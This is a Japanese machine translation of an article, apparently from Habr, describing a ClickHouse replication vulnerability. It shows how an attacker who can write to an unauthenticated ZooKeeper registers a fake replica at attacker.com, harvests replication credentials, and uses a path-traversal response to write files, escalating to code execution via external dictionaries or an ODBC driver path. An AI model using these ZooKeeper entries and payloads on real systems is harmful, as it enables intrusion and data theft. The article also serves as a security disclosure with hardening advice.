なぜ動物園の檻を閉めおおく必芁があるのですか?

なぜ動物園の檻を閉めおおく必芁があるのですか?

この蚘事では、ClickHouse レプリケヌション プロトコルの非垞に特殊な脆匱性に぀いお説明し、攻撃察象領域がどのように拡倧されるかに぀いおも説明したす。

ClickHouse は、倧量のデヌタを保存するためのデヌタベヌスであり、倚くの堎合、耇数のレプリカが䜿甚されたす。 ClickHouse のクラスタリングずレプリケヌションはその䞊に構築されたす アパッチ飌育係 (ZK) 曞き蟌み暩限が必芁です。

デフォルトの ZK むンストヌルでは認蚌は必芁ないため、Kafka、Hadoop、ClickHouse の構成に䜿甚される数千の ZK サヌバヌが公開されおいたす。

攻撃察象領域を枛らすには、ZooKeeper をむンストヌルするずきに垞に認蚌ず認可を構成する必芁がありたす。

もちろん、れロデむ ベヌスの Java デシリアラむれヌションもいく぀かありたすが、攻撃者が ClickHouse レプリケヌションに䜿甚される ZooKeeper に察しお読み曞きできるず想像しおください。

クラスタヌ モヌドで構成されおいる堎合、ClickHouse は分散ク゚リをサポヌトしたす DDL、ZK を通過 - それらのノヌドがシヌト内に䜜成されたす /clickhouse/task_queue/ddl.

たずえば、ノヌドを䜜成するず、 /clickhouse/task_queue/ddl/query-0001 内容:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

その埌、テスト テヌブルはクラスタ サヌバヌ host1 および host2 䞊で削陀されたす。 DDL は、CREATE/ALTER/DROP ク゚リの実行もサポヌトしおいたす。

怖いず思いたせんか しかし、攻撃者はどこからサヌバヌアドレスを入手できるのでしょうか?

クリックハりスのレプリケヌション は個々のテヌブルのレベルで機胜するため、ZK でテヌブルが䜜成されるずきに、レプリカずのメタデヌタの亀換を担圓するサヌバヌが指定されたす。 たずえば、リク゚ストを実行するずきZK を蚭定する必芁がある、 chXX - レプリカの名前、 foob​​ar - テヌブル名):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ノヌドが䜜成されたす コラム О .

コンテント /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

このクラスタヌのデヌタをマヌゞするこずはできたすか? はい、レプリケヌション ポヌト (TCP/9009) サヌバヌ䞊 chXX-address ファむアりォヌルは閉じられず、レプリケヌションの認蚌は構成されたせん。 認蚌を回避するにはどうすればよいですか?

攻撃者は、ZK からコンテンツをコピヌするだけで、ZK に新しいレプリカを䜜成できたす。 /clickhouse/tables/01-01/foobar/replicas/chXX そしお意味を倉える host.

コンテント /clickhouse/tables/01–01/foobar/レプリカ/攻撃者/ホスト:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

次に、攻撃者のサヌバヌ䞊に取埗する必芁がある新しいデヌタ ブロックがあるこずを他のレプリカに䌝える必芁がありたす。ZK にノヌドが䜜成されたす。 /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX 単調増加カりンタ。これはむベント ログの最埌のカりンタより倧きくなければなりたせん):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

どこ ゜ヌスレプリカ — 前のステップで䜜成された攻撃者のレプリカの名前、 ブロックID — デヌタブロック識別子、 取埗する - 「ブロックを取埗」コマンド (および 他の操䜜甚のコマンドは次のずおりです).

次に、各レプリカはログ内の新しいむベントを読み取り、攻撃者が制埡するサヌバヌに移動しおデヌタ ブロックを受信したす (レプリケヌション プロトコルはバむナリで、HTTP 䞊で実行されたす)。 サヌバ attacker.com リク゚ストを受け取りたす:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

XXX はレプリケヌション甚の認蚌デヌタです。 堎合によっおは、これはメむンの ClickHouse プロトコルおよび HTTP プロトコルを介しおデヌタベヌスにアクセスできるアカりントである可胜性がありたす。 これたで芋おきたように、レプリケヌションに䜿甚される ZooKeeper が認蚌を構成しないたたになっおいるため、攻撃察象領域が非垞に倧きくなりたす。

レプリカからデヌタのブロックを取埗する関数を芋おみたしょう。この関数は、すべおのレプリカが適切に制埡されおおり、レプリカ間に信頌があるこずを完党に確信しお曞かれおいたす。

なぜ動物園の檻を閉めおおく必芁があるのですか?
レプリケヌション凊理コヌド

この関数は、ファむルのリストを読み取り、その名前、サむズ、内容を読み取り、ファむル システムに曞き蟌みたす。 デヌタがファむル システムにどのように保存されるかに぀いおは、別途説明する䟡倀がありたす。

にはいく぀かのサブディレクトリがありたす /var/lib/clickhouse (蚭定ファむルからのデフォルトの保存ディレクトリ):

フラグ - 録音甚ディレクトリ フラグ、デヌタ損倱埌の回埩に䜿甚されたす。
TMP — 䞀時ファむルを保存するディレクトリ。
ナヌザヌファむル — リク゚スト内のファむルの操䜜は、このディレクトリ (INTO OUTFILE など) に限定されたす。
— テヌブルの説明を含む SQL ファむル。
前凊理された構成 - から掟生構成ファむルを凊理したした /etc/clickhouse-server;
デヌタ - デヌタ自䜓が含たれる実際のディレクトリ。この堎合、デヌタベヌスごずに個別のサブディレクトリがここに単玔に䜜成されたすたずえば、 /var/lib/clickhouse/data/default).

テヌブルごずに、デヌタベヌス ディレクトリにサブディレクトリが䜜成されたす。 各列は、次の内容に応じお別個のファむルになりたす。 ゚ンゞン圢匏。 たずえばテヌブルの堎合 foob​​ar攻撃者によっお䜜成されるず、次のファむルが䜜成されたす。

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

レプリカは、デヌタのブロックを凊理するずきに同じ名前のファむルを受信するこずを期埅しおおり、それらのファむルをいかなる方法でも怜蚌したせん。

泚意深い読者はおそらく、関数内での file_name の安党でない連結に぀いおすでに聞いたこずがあるでしょう。 WriteBufferFromFile。 はい、これにより、攻撃者はナヌザヌ暩限を䜿甚しお FS 䞊の任意のファむルに任意のコンテンツを曞き蟌むこずができたす。 clickhouse。 これを行うには、攻撃者が制埡するレプリカはリク゚ストに察しお次の応答を返す必芁がありたす (理解しやすいように改行が远加されおいたす)。

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

そしお連結埌 ../../../../../../../../../tmp/pwned ファむルが曞き蟌たれたす /tmp/pwned 内容あり こんにちは、飌育員より.

ファむル曞き蟌み機胜をリモヌト コヌド実行 (RCE) に倉えるためのオプションがいく぀かありたす。

RCE の倖郚蟞曞

叀いバヌゞョンでは、ClickHouse 蚭定が含たれるディレクトリはナヌザヌ暩限で保存されおいたした。 クリックハりス デフォルト。 蚭定ファむルは、サヌビスが起動時に読み取っおキャッシュに保存する XML ファむルです。 /var/lib/clickhouse/preprocessed_configs。 倉曎が発生するず、倉曎が再床読み取られたす。 にアクセスできる堎合は、 /etc/clickhouse-server 攻撃者は独自のものを䜜成できる 倖郚蟞曞 実行可胜タむプを指定しお任意のコヌドを実行したす。 ClickHouse の珟圚のバヌゞョンでは、デフォルトでは暩利が提䟛されたせんが、サヌバヌが埐々に曎新されるず、そのような暩利が残る可胜性がありたす。 ClickHouse クラスタヌをサポヌトしおいる堎合は、蚭定ディレクトリに察する暩限を確認しおください。蚭定ディレクトリはナヌザヌに属しおいる必芁がありたす。 root.

ODBCからRCEぞのファむル倉換

パッケヌゞをむンストヌルするずナヌザヌが䜜成されたす clickhouse、ただし、そのホヌムディレクトリは䜜成されたせん /nonexistent。 ただし、倖郚蟞曞を䜿甚する堎合、たたはその他の理由で、管理者はディレクトリを䜜成したす。 /nonexistent そしおナヌザヌに䞎える clickhouse 曞き蟌みアクセス (SSZB! 玄。 翻蚳者).

クリックハりスのサポヌト ODBC 他のデヌタベヌスに接続するこずもできたす。 ODBC では、デヌタベヌス ドラむバヌ ラむブラリ (.so) ぞのパスを指定できたす。 ClickHouse の叀いバヌゞョンでは、これをリク゚スト ハンドラヌで盎接実行できたしたが、珟圚は接続文字列のより厳密なチェックが远加されおいたす。 odbc-bridge, そのため、リク゚ストからドラむバヌのパスを指定するこずはできなくなりたした。 しかし、攻撃者は䞊蚘の脆匱性を利甚しおホヌム ディレクトリに曞き蟌むこずができるのでしょうか?

ファむルを䜜成したしょう ~/.odbc.ini 次のような内容で:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

その埌起動時に SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ラむブラリがロヌドされたす test.so そしおRCEを受け取りたしたありがずう バロック 先端甚。

これらおよびその他の脆匱性は、ClickHouse バヌゞョン 19.14.3 で修正されたした。 ClickHouse ず ZooKeepers を倧事にしおください!

出所 habr.com

コメントを远加したす